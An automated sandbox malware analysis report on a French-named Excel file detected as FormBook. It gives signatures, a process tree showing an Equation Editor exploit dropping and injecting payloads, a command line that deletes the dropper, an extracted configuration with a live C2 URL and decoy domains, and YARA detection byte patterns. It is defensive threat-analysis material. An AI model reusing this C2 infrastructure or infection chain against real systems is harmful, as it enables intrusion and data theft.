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Windows Analysis Report
BON DE COMMANDE POUR CHENOUFI AEK.xlsx

Overview

General Information

Sample Name:	BON DE COMMANDE POUR CHENOUFI AEK.xlsx
Analysis ID:	626175
MD5:	981661fb35d158853f012f21aadd7b92
SHA1:	2ce93cbf7651c472a598b8756f5301275d95e27f
SHA256:	3084b6d063c6ec61503e90e6f2c61830ec915593fed9ddc719f67bc1ec24b49a
Tags:	VelvetSweatshopxlsx
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Sigma detected: EQNEDT32.EXE connecting to internet

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Sigma detected: File Dropped By EQNEDT32EXE

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Injects a PE file into a foreign processes

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Shellcode detected

Office equation editor drops PE file

Queues an APC in another process (thread injection)

Tries to detect virtualization through RDTSC time measurements

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Office equation editor establishes network connection

Drops PE files to the user root directory

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Downloads executable code via HTTP

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Potential document exploit detected (unknown TCP traffic)

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Contains functionality to download and execute PE files

Office Equation Editor has been started

Contains functionality to download and launch executables

Checks if the current process is being debugged

Drops PE files to the user directory

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2644 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 900 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2520 cmdline: "C:\Users\Public\vbc.exe" MD5: 5AF1C7DD89A535DEE51C3E28B4A74F8D)

bmexo.exe (PID: 1224 cmdline: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya MD5: FD42CBBC6D53AD34694C46731AABD852)

bmexo.exe (PID: 1820 cmdline: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya MD5: FD42CBBC6D53AD34694C46731AABD852)

explorer.exe (PID: 1860 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

chkdsk.exe (PID: 792 cmdline: C:\Windows\SysWOW64\chkdsk.exe MD5: A01E18A156825557A24A643A2547AA8C)

cmd.exe (PID: 2972 cmdline: /c del "C:\Users\user\AppData\Local\Temp\bmexo.exe" MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.freerenoadvice.com/ud5f/"], "decoy": ["makcoll.com", "mitrachocloud.com", "finikilspase.site", "vertriebmitherz.gmbh", "terapiasdelsinuips.com", "schoolmink.online", "slotgacor588.xyz", "zkf-lawyer.com", "daskocleaning.com", "baoxin-design.com", "hollywoodcuts.net", "animefnix.com", "trinityhomesolutionsok.com", "cfrhsw.xyz", "articrowd.com", "jlivingfurniture.com", "marmolsystem.com", "nudehack.com", "beam-birds.com", "cravensoft.com", "bjyunjian.com", "naturelleclub.com", "reece-family.net", "morarmail.com", "morgantownpet.supply", "recordanalytics.com", "factheat.online", "mcgillinvestigation.com", "tinyhouse.contact", "gpbrasilia.com", "jacobsclub.com", "theboemia.net", "balifoodfun.com", "alfonshotel.com", "spaceokara.com", "paraphras.com", "ruibaituobj.com", "rwbbrwe1.com", "turkishrepublik.com", "costumeshop.xyz", "minatexacess.com", "hathor-network.net", "02d1qp.xyz", "dadagrin.com", "lfsijin.com", "bupabii.site", "mydiga-angststoerung.com", "hayatseventeknoloji.com", "adv-cleaner.site", "ndsnus.com", "rebeccabarclaylpc.com", "eswpu.com", "babbleboat.com", "zvmsovsg.com", "quantumlab5.com", "venerems.com", "sh09.fyi", "maxpilesclinic.com", "luigilucioni.com", "yuttie.store", "tripnii.com", "topings33.com", "madetopraisehim.com", "tesladoge.info"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x6345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x5df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x6447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x65bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x8809:$sqlite3step: 68 34 1C 7B E1 0x891c:$sqlite3step: 68 34 1C 7B E1 0x8838:$sqlite3text: 68 38 2A 90 C5 0x895d:$sqlite3text: 68 38 2A 90 C5 0x884b:$sqlite3blob: 68 53 D8 7F 8C 0x8973:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x6345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x5df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x6447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x65bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x8809:$sqlite3step: 68 34 1C 7B E1 0x891c:$sqlite3step: 68 34 1C 7B E1 0x8838:$sqlite3text: 68 38 2A 90 C5 0x895d:$sqlite3text: 68 38 2A 90 C5 0x884b:$sqlite3blob: 68 53 D8 7F 8C 0x8973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.0.bmexo.exe.400000.7.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.0.bmexo.exe.400000.7.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.bmexo.exe.400000.7.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
6.0.bmexo.exe.400000.7.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.0.bmexo.exe.400000.7.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.bmexo.exe.400000.7.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
5.2.bmexo.exe.170000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.bmexo.exe.170000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.bmexo.exe.170000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
6.2.bmexo.exe.400000.1.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.bmexo.exe.400000.1.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.bmexo.exe.400000.1.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
6.0.bmexo.exe.400000.9.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
